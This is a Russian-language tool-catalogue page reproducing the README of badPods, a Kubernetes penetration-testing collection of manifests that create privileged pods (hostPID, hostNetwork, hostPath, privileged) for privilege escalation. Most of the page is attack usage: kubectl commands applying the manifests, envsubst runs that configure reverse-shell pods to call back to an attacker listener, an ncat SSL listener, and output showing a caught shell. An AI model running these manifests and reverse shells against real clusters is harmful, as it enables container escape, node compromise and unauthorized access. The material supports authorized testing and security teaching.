Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
badPods — Коллекция манифестов, которые создают поды с повышенными привилегиями. | Kitploit
Инструменты/GitHubGitHub/bishopfox/badpods
Повышение привилегийБезопасность контейнеровЭксплуатацияТестирование на ПроникновениеБезопасность облачных средНеправильная КонфигурацияПобег из Контейнера
GitHubbishopfox/badpods

badPods

Коллекция манифестов, которые создают поды с повышенными привилегиями.

Репозиторий
7061187 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

Bad Pods

Набор манифестов, создающих поды с различными повышенными привилегиями. Позволяет быстро продемонстрировать влияние разрешения таких чувствительных с точки зрения безопасности атрибутов подов, как hostNetwork, hostPID, hostPath, hostIPC и privileged.

Дополнительную информацию см. в нашем блоге: Bad Pods: Kubernetes Pod Privilege Escalation.

Содержание

  • Состав Bad Pods
  • Предварительные требования
  • Структура
  • Использование
    • Общий подход
    • Примеры использования
      • Создание всех восьми Bad Pods из локального клона репозитория
      • Создание всех восьми Bad Pods из GitHub
      • Создание всех восьми Bad Pods с reverse shell
      • Создание всех восьми типов ресурсов с помощью пода everything-allowed
      • Создание cronjob с подом hostNetwork
      • Создание deployment с подом priv-and-hostpid
      • Создание reverse shell с помощью привилегированного пода

Состав Bad Pods

Каждая ссылка ниже содержит подробную информацию об использовании и рекомендации по пост-эксплуатации.

  • Bad Pod #1: Everything allowed
  • Bad Pod #2: Privileged and hostPid
  • Bad Pod #3: Privileged only
  • Bad Pod #4: hostPath only
  • Bad Pod #5: hostPid only
  • Bad Pod #6: hostNetwork only
  • Bad Pod #7: hostIPC only
  • Bad Pod #8: Nothing allowed

Более общую информацию о предварительных требованиях, структуре репозитория и типовых сценариях использования см. в разделах ниже.

Предварительные требования

  1. Доступ к кластеру
  2. Разрешение RBAC на создание одного из следующих типов ресурсов как минимум в одном namespace:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. Разрешение RBAC на выполнение exec в поды или сетевая политика, позволяющая reverse shell из пода соединиться с вами.
  4. Отсутствие принудительного применения pod security policy или политика, разрешающая создание подов с одним или несколькими чувствительными с точки зрения безопасности атрибутами

Структура

  • 128 самодостаточных, готовых к использованию манифестов. Почему так много?
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed и т.д.)
    • 8 типов ресурсов, которые могут создавать поды (pod, deployment, replicaset, statefulset и т.д.)
    • 2 способа доступа к созданным подам (exec и reverse shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

Существует восемь способов создать под

Как отмечает Eviatar Gerzi (@g3rzi) в статье Восемь способов создать под, существует 8 различных контроллеров, которые могут создать под или набор подов. Возможно, у вас нет прав на создание подов, но, вероятно, вы можете создать другой тип ресурса, который создаст один или несколько подов. Для каждого типа badPod существуют манифесты, соответствующие всем восьми типам ресурсов.

Но подождите, это ещё не всё! Помимо восьми текущих контроллеров Kubernetes, которые могут создавать поды, существуют сторонние контроллеры, которые также могут создавать поды, если они применены к кластеру. Следить за ними можно с помощью команды kubectl api-resources.

Reverse shells

Хотя это распространённая практика, не всегда можно выполнить exec в поды, которые вы создаёте. Чтобы помочь в таких ситуациях, включена версия каждого манифеста, использующая образ ncat из dockerhub от Rory McCune (@raesene). При создании под выполнит зашифрованный обратный вызов вашему слушателю.

Использование

Каждый ресурс в каталоге manifests нацелен на определённый атрибут или комбинацию атрибутов, которые при разрешении подвергают кластер риску.

Общий подход

Вариант 1: Методичный подход

  1. Оцените RBAC — определите, какие типы ресурсов вы можете создавать
  2. Оцените Admission Policy — определите, какие из Bad Pods вы сможете создать
  3. Создайте ресурсы — исходя из разрешённого, используйте конкретный тип badPod и тип ресурса и создайте свои ресурсы
  4. Пост-эксплуатация — оцените шаги пост-эксплуатации, описанные в README для данного типа
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

Вариант 2: Подход «дробовика»

  1. Создайте ресурсы — просто начните применять разные манифесты и посмотрите, что сработает
    • Создание всех восьми Bad Pods из GitHub
    • Создание всех восьми типов ресурсов с помощью пода everything-allowed
  2. Пост-эксплуатация — для всех созданных подов оцените шаги пост-эксплуатации, описанные в README для данного типа
    • Everything allowed
    • Privileged and hostPid
    • Privileged only
    • hostPath only
    • hostPid only
    • hostNetwork only
    • hostIPC only
    • Nothing allowed

Примеры использования

  • Создание всех восьми Bad Pods из локального клона репозитория
  • Создание всех восьми Bad Pods из GitHub
  • Создание всех восьми Bad Pods с reverse shell
  • Создание всех восьми типов ресурсов с помощью пода everything-allowed
  • Создание cronjob с подом hostNetwork
  • Создание deployment с подом priv-and-hostpid
  • Создание reverse shell с помощью привилегированного пода

Создание всех восьми Bad Pods из локального клона репозитория

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Создание всех восьми Bad Pods из GitHub

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Создание всех восьми badPods с reverse shell

Чтобы не редактировать каждый под, указывая ваш хост и порт, можно воспользоваться переменными окружения и командой envsubst. Не забудьте сначала запустить все свои слушатели!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

Создание cronjob с подом hostNetwork

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

Найдите созданный под

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

Выполните exec в под

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

Создание deployment с подом priv-and-hostpid

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

Найдите созданный под

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

Выполните exec в под

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

Создание всех восьми типов ресурсов с помощью пода everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

Просмотрите все созданные поды

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

Удалите все ресурсы everything-allowed

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

Создание reverse shell с помощью привилегированного пода

Настройте слушатель

root@kitploit:~
ncat --ssl -vlp 3116

Создайте под из локального yaml-файла без его изменения, используя переменные окружения и envsubst

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

Поймайте shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

Участие в разработке

Принимаются pull request'ы и issues.

Благодарности

Спасибо Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi и Madhu Akula за то, что открыто поделились столь обширными знаниями о наступательной безопасности Kubernetes.

Ссылки и дополнительная литература

У каждого Bad Pod есть собственный раздел со ссылками и дополнительной литературой, но здесь приведены более общие ресурсы, которые помогут вам прокачать навыки оценки безопасности Kubernetes и пентеста.

Новинки — 2020

  • Container Security Site от @raesene
  • CloudSecDocs — безопасность контейнеров от @lancinimarco
  • Risk8s Business: анализ рисков кластеров Kubernetes от @antitree
  • Компрометация кластера Kubernetes путём эксплуатации разрешений RBAC от @g3rzi — Доклад / Слайды
  • Command and KubeCTL: практическая безопасность Kubernetes для пентестеров от @antitree — Доклад / Блог
  • Kubernetes Goat от @madhuakula — Репозиторий / Руководство

Классика — аж из 2019 года

  • Secure Kubernetes - KubeCon NA 2019 CTF от @tabbysable, @petermbenjamin, @jimmesta и @BradGeesaman
  • Самая бессмысленная команда Kubernetes от @raesene
  • The Path Less Traveled: злоупотребление настройками Kubernetes по умолчанию от @IanColdwater и @mauilion — Доклад / Репозиторий
  • Понимание побегов из Docker-контейнеров от @disconnect3d_pl
  • Сборник способов побега из контейнеров от @drraid и @0x7674
  • Атака на Kubernetes через Kubelet
Скачать инструмент